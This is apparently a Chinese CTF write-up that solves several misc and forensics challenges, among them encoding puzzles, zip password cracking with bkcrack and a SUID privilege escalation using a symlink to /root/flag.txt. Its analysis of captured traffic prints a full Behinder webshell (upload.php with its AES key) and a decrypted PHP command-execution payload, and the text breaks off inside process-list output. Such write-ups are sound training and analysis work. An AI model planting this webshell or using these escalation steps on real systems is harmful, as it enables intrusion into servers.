[Fri Oct 17 00:37:51.587587 2025] [mpm_event:notice] [pid 488:tid 488] AH00491: caught SIGTERM, shutting down
[Fri Oct 17 00:40:02.828664 2025] [mpm_event:notice] [pid 484:tid 484] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations
[Fri Oct 17 00:45:03.988453 2025] [mpm_event:notice] [pid 484:tid 484] AH00491: caught SIGTERM, shutting down

也可以用journalctl:

1
journalctl -u httpd.service --since "2025-10-15 00:00:00" --until "2025-10-17 23:59:59"

AndroidService

misc

[Week1] 《关于我穿越到CTF的异世界这档事:序》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
'?': 0,
'C': 1,
'F': 3,
'T': 2,
'c': 7,
'i': 5,
'm': 4,
's': 6
}

ZmxhZ3tUaDNfUHIxbmMxcGwzXzBmX0Jhc2VfMXNfUzBfRXp6fQ==

flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}

[Week1] 俱乐部之旅(1) - 邀请函

1
2
3
4
5
6
7
8
unzip -v 200302_Try_t0_f1nd_My_s3cret.zip
Archive: 200302_Try_t0_f1nd_My_s3cret.zip
c5im????
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
12507 Defl:N 10689 15% 08-13-2025 18:02 eb7bd9a2 steg.docx
-------- ------- --- -------
12507 10689 15% 1 file

猜测**c5im????**为密码格式,archpr爆破得到密码c5im8467。解压得到一个损坏的docx,点击修复,全选复制,粘贴到别处发现:

1
2
3
4
5
Office Open XML(缩写:Open XML或OOXML),为由Microsoft开发的一种以XML为基础并以ZIP格式压缩的电子文件规范,支持文件、表格、备忘录、幻灯片等文件格式。

OOXML在2006年12月成为了ECMA规范的一部分,编号为ECMA-376;并于2008年4月通过国际标准化组织的表决,在两个月后公布为ISO/IEC 29500国际标准。微软推出这个格式,很多人认为是出于商业考量。许多专家指出,该标准并不是个完整的标准,采用了许多微软的独有规格,使用上困难重重。

从Microsoft Office 2007开始,Office Open XML文件格式已经成为Microsoft Office默认的文件格式。Microsoft Office 2010支持对ECMA-376标准文档的读操作,ISO/IEC 29500 Transitional的读/写,ISO/IEC 29500 Strict的读取。Microsoft Office 2013同时支持ISO/IEC 29500 Strict的读写操作。

那么既然提到了zip,把docx改为zip解压。查看core.xml

1
2
3
4
5
<dc:description>11001101101100110000111001111111011101011101100001110010110010010111110110101111010001100111100111101111111010011110011101111101100011111010</dc:description>
<cp:keywords>do u know cyberchef?</cp:keywords>
<cp:lastModifiedBy>炙恕qwq</cp:lastModifiedBy>
<dcterms:modified xsi:type="dcterms:W3CDTF">2025-08-13T09:59:15Z</dcterms:modified>
<dc:title>标准ASCII码使用‌7位二进制数‌表示字符</dc:title>

得到前半部分flag{W0rd_5t3g_is_1z

查看steg/word/u_f0und_m3,得到2657656c63306d655f74305f7468335f6335696d5f433175627d,丢到cyberchef
得到后半部分**&Welc0me_t0_th3_c5im_C1ub}**

拼接得到完整flag:flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}

[Week1] 维吉尼亚朋友的来信

你的维吉尼亚朋友向你来信,奇怪的是你却收到了一个音频,你用眼睛仔细去听,发现信件从深处的声音中来…
sound
用deepsound打开,提取到:

1
2
3
4
5
6
7
Gieg fsq sulirs,
Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl."
Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs.
Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi.
Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '.

Ehwx lagbrv!

题目名称就给了提示:维吉尼亚密码。密钥是deepsound,没意识到可以问GPT,显然jasu->flag。只能说,GPT-5还是太强了。

1
2
3
4
5
6
7
Dear new friend,
Welcome to the thrilling world of CTF!This isn’t just a game—it’s a playground where curiosity meets challenge, where every line of code, every hidden clue, and every puzzle holds a secret waiting to be uncovered. Here, you’ll stretch your mind, learn to see patterns in chaos, and turn "I don’t know" into "I figured it out."
Don’t worry if things feel overwhelming at first. We’ve all been there—staring at a problem, scratching our heads, wondering where to start. But that’s the magic of it: every mistake is a lesson, every small win a rush. And you’re not alone. This community thrives on collaboration, on sharing ideas, and lifting each other up.
So dive in. Explore. Experiment. Ask questions. Celebrate the tiny victories, and don’t fear the stumbles. The CTF world is brighter with you in it, and we can’t wait to see where your journey takes you.
Flag is "funny letter to you". Remember wrap the flag content in flag{} and use underline‘_' to replace space character' '.

Best wishes!
1
flag{funny_letter_to_you}

[Week2] 《关于我穿越到CTF的异世界这档事:破》

用户:ctf,密码:CtfP@ssw0rd!2025
ok ssh连上,发现是 Ubuntu 22.04

1
2
3
4
ctf@cl-137-c98351f013ba2a8a:~$ ls
notes.txt
ctf@cl-137-c98351f013ba2a8a:~$ cat notes.txt
Think About SUID.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ctf@cl-137-c98351f013ba2a8a:~$ cat /start.sh
#!/bin/sh

if [ "$A1CTF_FLAG" ]; then
INSERT_FLAG="$A1CTF_FLAG"
unset A1CTF_FLAG
elif [ "$QUESTION_CTF_FLAG" ]; then
INSERT_FLAG="$QUESTION_CTF_FLAG"
unset QUESTION_CTF_FLAG
elif [ "$GZCTF_FLAG" ]; then
INSERT_FLAG="$GZCTF_FLAG"
unset GZCTF_FLAG
elif [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
unset FLAG
else
INSERT_FLAG="QUESTION_CTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"
fi

echo -n $INSERT_FLAG > /root/flag.txt
INSERT_FLAG=""

chmod 600 /root/flag.txt
chown root:root /root/flag.txt

exec /usr/sbin/sshd -D

那目标就是利用SUID提权到root,读取/root/flag.txt

1
2
3
4
5
6
7
8
9
10
11
ctf@cl-137-c98351f013ba2a8a:~$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/editnote
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

显然这个/usr/local/bin/editnote就是SUID文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ctf@cl-137-c98351f013ba2a8a:~$ strings /usr/local/bin/editnote
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
execlp
getenv
perror
libc.so.6
GLIBC_2.34
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
EDITOR
/home/ctf/notes.txt
execlp failed
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
...后续省略

关注这两个EDITOR/home/ctf/notes.txt

1
2
3
4
5
6
7
ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=cat
ctf@cl-137-c98351f013ba2a8a:~$ editnote /home/ctf/notes.txt
Think About SUID.
ctf@cl-137-c98351f013ba2a8a:~$ editnote
Think About SUID.
ctf@cl-137-c98351f013ba2a8a:~$ editnote /root/flag.txt
Think About SUID.

看起来这个editnote并不接受输入

1
2
3
ctf@cl-137-c98351f013ba2a8a:~$ echo 'cat /root/flag.txt' > /tmp/shell
ctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnote
cat: /root/flag.txt: Permission denied

布什戈么??尝试链接符号:

1
2
3
4
5
ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=/usr/bin/cat
ctf@cl-137-c98351f013ba2a8a:~$ rm /home/ctf/notes.txt
ctf@cl-137-c98351f013ba2a8a:~$ ln -s /root/flag.txt /home/ctf/notes.txt
ctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnote
flag{738215c9-0064-4c47-8634-ca561e4be87d}

好啊!复盘,直接cat permission denied应该是 有效用户ID (EUID)真实用户ID (RUID) 不一致,导致权限被丢弃了。

[Week2] 俱乐部之旅(2) - 我邮件呢??

下载得到pcapng,导出IMF
export_imf
得到Congratulations.zip,but,要密码?

1
2
3
4
5
6
7
8
9
(base) ➜  [Week2] 俱乐部之旅(2) - 我邮件呢?? unzip -v Congratulations.zip
Archive: Congratulations.zip
Access to the congratulatory letter requires your identity hash as the password
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
851 Stored 851 0% 09-07-2025 18:21 46287889 Congratulations.txt
639230 Stored 639230 0% 09-07-2025 18:46 776c15e2 id_card.png
-------- ------- --- -------
640081 640081 0% 2 files

注意这句,Access to the congratulatory letter requires your identity hash as the password

QWNjZXNzIEdyYW50ZWQgqEMgV2VsY29tZSB0byBDNU
Access Granted ¨C Welcome to C5IM
Access Granted – Welcome to C5IM

嘶,并非如此。观察到压缩包内有id_card.png,尝试使用bkcrack对png_header进行明文攻击。(部分文件数据居然也可以诶?!)参考博文https://www.cnblogs.com/JacekYang/p/17592358.html

1
2
3
4
5
6
7
8
9
10
11
(base) ➜  [Week2] 俱乐部之旅(2) - 我邮件呢?? bkcrack -C Congratulations.zip -c id_card.png -p png_header
bkcrack 1.8.0 - 2025-08-18
[06:53:09] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[06:53:09] Attack on 736192 Z values at index 6
Keys: 733236fb 6652cac7 8542e0e2
75.7 % (557238 / 736192)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 557238
[06:58:23] Keys
733236fb 6652cac7 8542e0e2

啊啊啊啊???733236fb 6652cac7 8542e0e2

bkcrack -C Congratulations.zip -c id_card.png -k 733236fb 6652cac7 8542e0e2 -d id_card.png读一下id_card.png
id_card
密码有了,4458e940b799c5419ac8fbceac043ac5,unzip解压得到Congratulations.txt

1
flag{pl34s3_s4f3gu4rd_y0ur_r3c0v3r3d_c5im_d4t4}

但这里并非如此顺畅,Congratulations.zip很奇怪,内部两个文件密码不一样,Keka直接认为hash密码不正确。。。

[Week2] 布豪有黑客(二)

获得week2.pcnpng,导出object-http
(这个test.jpg好可爱啊哈哈哈哈)

观察流量发现,先上传了一个test.jpg,然后是shell.php

观察upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

我Chao!冰蝎(Behinder)!
http://tools.bugscaner.com/cryptoaes/用这个解密AES,密码为e45e329feb5d925b

冰蝎数据流实际上是 base64 + json + aes,有工具的话一键解密应该挺方便的,但这题看起来数据流不多,那就手动操作一下吧。

shell(7).php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}


function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
$cmd="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7bHMgLWxh";
$cmd=base64_decode($cmd);
$path="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==";
$path=base64_decode($path);
main($cmd,$path);

cmd="cd /xp/www/week2/uploads/ ;ls -la" path="/xp/www/week2/uploads/"

响应为:

1
2
3
4
5
total 388
drwxr-xr-x 2 www www 4096 Sep 19 12:57 .
drwxr-xr-x 3 www www 4096 Sep 19 11:06 ..
-rw-r--r-- 1 www www 643 Sep 19 12:57 shell.php
-rw-r--r-- 1 www www 381805 Sep 19 12:57 test.jpg

shell(10).php

1
2
3
4
5
$cmd="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7dW5hbWUgLWE=";
$cmd=base64_decode($cmd);
$path="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==";
$path=base64_decode($path);
main($cmd,$path);

cmd="cd /xp/www/week2/uploads/ ;uname -a"
输出:

1
Linux c3ngh-server 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

shell(13).php (省略细节)

1
cd /xp/www/week2/uploads/ ;whoami
1
www

shell(15).php

1
cd /xp/www/week2/uploads/ ;ps -aux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root 1 0.0 0.2 166296 11844 ? Ss 09:13 0:06 /sbin/init
root 2 0.0 0.0 0 0 ? S 09:13 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_par_gp]
root 5 0.0 0.0 0 0 ? I< 09:13 0:00 [slub_flushwq]
root 6 0.0 0.0 0 0 ? I< 09:13 0:00 [netns]
root 8 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:0H-events_highpri]
root 10 0.0 0.0 0 0 ? I< 09:13 0:00 [mm_percpu_wq]
root 11 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_rude_]
root 12 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_trace]
root 13 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/0]
root 14 0.0 0.0 0 0 ? I 09:13 0:11 [rcu_sched]
root 15 0.0 0.0 0 0 ? S 09:13 0:00 [migration/0]
root 16 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/0]
root 18 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/0]
root 19 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/1]
root 20 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/1]
root 21 0.0 0.0 0 0 ? S 09:13 0:01 [migration/1]
root 22 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/1]
root 24 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:0H-events_highpri]
root 25 0.0 0.0 0 0 ? S 09:13 0:00 [kdevtmpfs]
root 26 0.0 0.0 0 0 ? I< 09:13 0:00 [inet_frag_wq]
root 27 0.0 0.0 0 0 ? S 09:13 0:00 [kauditd]
root 29 0.0 0.0 0 0 ? S 09:13 0:00 [khungtaskd]
root 30 0.0 0.0 0 0 ? S 09:13 0:00 [oom_reaper]
root 31 0.0 0.0 0 0 ? I< 09:13 0:00 [writeback]
root 32 0.0 0.0 0 0 ? S 09:13 0:02 [kcompactd0]
root 33 0.0 0.0 0 0 ? SN 09:13 0:00 [ksmd]
root 34 0.0 0.0 0 0 ? SN 09:13 0:00 [khugepaged]
root 81 0.0 0.0 0 0 ? I< 09:13 0:00 [kintegrityd]
root 82 0.0 0.0 0 0 ? I< 09:13 0:00 [kblockd]
root 83 0.0 0.0 0 0 ? I< 09:13 0:00 [blkcg_punt_bio]
root 85 0.0 0.0 0 0 ? I< 09:13 0:00 [tpm_dev_wq]
root 86 0.0 0.0 0 0 ? I< 09:13 0:00 [ata_sff]
root 87 0.0 0.0 0 0 ? I< 09:13 0:00 [md]
root 88 0.0 0.0 0 0 ? I< 09:13 0:00 [edac-poller]
root 89 0.0 0.0 0 0 ? I< 09:13 0:00 [devfreq_wq]
root 90 0.0 0.0 0 0 ? S 09:13 0:00 [watchdogd]
root 91 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:1H-kblockd]
root 93 0.0 0.0 0 0 ? S 09:13 0:00 [kswapd0]
root 94 0.0 0.0 0 0 ? S 09:13 0:00 [ecryptfs-kthrea]
root 96 0.0 0.0 0 0 ? I< 09:13 0:00 [kthrotld]
root 97 0.0 0.0 0 0 ? S 09:13 0:00 [irq/24-pciehp]
root 98 0.0 0.0 0 0 ? S 09:13 0:00 [irq/25-pciehp]
root 99 0.0 0.0 0 0 ? S 09:13 0:00 [irq/26-pciehp]
root 100 0.0 0.0 0 0 ? S 09:13 0:00 [irq/27-pciehp]
root 101 0.0 0.0 0 0 ? S 09:13 0:00 [irq/28-pciehp]
root 102 0.0 0.0 0 0 ? S 09:13 0:00 [irq/29-pciehp]
root 103 0.0 0.0 0 0 ? S 09:13 0:00 [irq/30-pciehp]
root 104 0.0 0.0 0 0 ? S 09:13 0:00 [irq/31-pciehp]
root 105 0.0 0.0 0 0 ? S 09:13 0:00 [irq/32-pciehp]
root 106 0.0 0.0 0 0 ? S 09:13 0:00 [irq/33-pciehp]
root 107 0.0 0.0 0 0 ? S 09:13 0:00 [irq/34-pciehp]
root 108 0.0 0.0 0 0 ? S 09:13 0:00 [irq/35-pciehp]
root 109 0.0 0.0 0 0 ? S 09:13 0:00 [irq/36-pciehp]
root 110 0.0 0.0 0 0 ? S 09:13 0:00 [irq/37-pciehp]
root 111 0.0 0.0 0 0 ? S 09:13 0:00 [irq/38-pciehp]
root 112 0.0 0.0 0 0 ? S 09:13 0:00 [irq/39-pciehp]
root 113 0.0 0.0 0 0 ? S 09:13 0:00 [irq/40-pciehp]
root 114 0.0 0.0 0 0 ? S 09:13 0:00 [irq/41-pciehp]
root 115 0.0 0.0 0 0 ? S 09:13 0:00 [irq/42-pciehp]
root 116 0.0 0.0 0 0 ? S 09:13 0:00 [irq/43-pciehp]
root 117 0.0 0.0 0 0 ? S 09:13 0:00 [irq/44-pciehp]
root 118 0.0 0.0 0 0 ? S 09:13 0:00 [irq/45-pciehp]
root 119 0.0 0.0 0 0 ? S 09:13 0:00 [irq/46-pciehp]
root 120 0.0 0.0 0 0 ? S 09:13 0:00 [irq/47-pciehp]
root 121 0.0 0.0 0 0 ? S 09:13 0:00 [irq/48-pciehp]
root 122 0.0 0.0 0 0 ? S 09:13 0:00 [irq/49-pciehp]
root 123 0.0 0.0 0 0 ? S 09:13 0:00 [irq/50-pciehp]
root 124 0.0 0.0 0 0 ? S 09:13 0:00 [irq/51-pciehp]
root 125 0.0 0.0 0 0 ? S 09:13 0:00 [irq/52-pciehp]
root 126 0.0 0.0 0 0 ? S 09:13 0:00 [irq/53-pciehp]
root 127 0.0 0.0 0 0 ? S 09:13 0:00 [irq/54-pciehp]
root 128 0.0 0.0 0 0 ? S 09:13 0:00 [irq/55-pciehp]
root 129 0.0 0.0 0 0 ? I< 09:13 0:00 [acpi_thermal_pm]
root 131 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_0]
root 132 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_0]
root 133 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_1]
root 134 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_1]
root 136 0.0 0.0 0 0 ? I< 09:13 0:00 [vfio-irqfd-clea]
root 137 0.0 0.0 0 0 ? I< 09:13 0:00 [mld]
root 138 0.0 0.0 0 0 ? I< 09:13 0:00 [ipv6_addrconf]
root 149 0.0 0.0 0 0 ? I< 09:13 0:00 [kstrp]
root 152 0.0 0.0 0 0 ? I< 09:13 0:00 [zswap-shrink]
root 154 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/u257:0]
root 159 0.0 0.0 0 0 ? I< 09:13 0:00 [charger_manager]
root 182 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:1H-kblockd]
root 205 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt_poll_0]
root 206 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt/0]
root 207 0.0 0.0 0 0 ? I< 09:13 0:00 [ttm_swap]
root 208 0.0 0.0 0 0 ? S 09:13 0:01 [irq/16-vmwgfx]
root 209 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc0]
root 210 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc1]
root 211 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc2]
root 212 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc3]
root 213 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc4]
root 214 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc5]
root 215 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc6]
root 216 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc7]
root 217 0.0 0.0 0 0 ? I< 09:13 0:00 [cryptd]
root 266 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_2]
root 267 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_2]
root 268 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_3]
root 269 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_3]
root 270 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_4]
root 271 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_4]
root 272 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_5]
root 273 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_5]
root 274 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_6]
root 275 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_6]
root 276 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_7]
root 277 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_7]
root 278 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_8]
root 279 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_8]
root 280 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_9]
root 281 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_9]
root 282 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_10]
root 283 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_10]
root 284 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_11]
root 285 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_11]
root 286 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_12]
root 287 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_12]
root 288 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_13]
root 289 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_13]
root 290 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_14]
root 291 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_14]
root 292 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_15]
root 293 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_15]
root 294 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_16]
root 295 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_16]
root 296 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_17]
root 297 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_17]
root 298 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_18]
root 299 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_18]
root 300 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_19]
root 301 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_19]
root 302 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_20]
root 303 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_20]
root 304 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_21]
root 305 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_21]
root 306 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_22]
root 307 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_22]
root 308 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_23]
root 309 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_23]
root 310 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_24]
root 311 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_24]
root 312 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_25]
root 313 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_25]
root 314 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_26]
root 315 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_26]
root 316 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_27]
root 317 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_27]
root 318 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_28]
root 319 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_28]
root 320 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_29]
root 321 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_29]
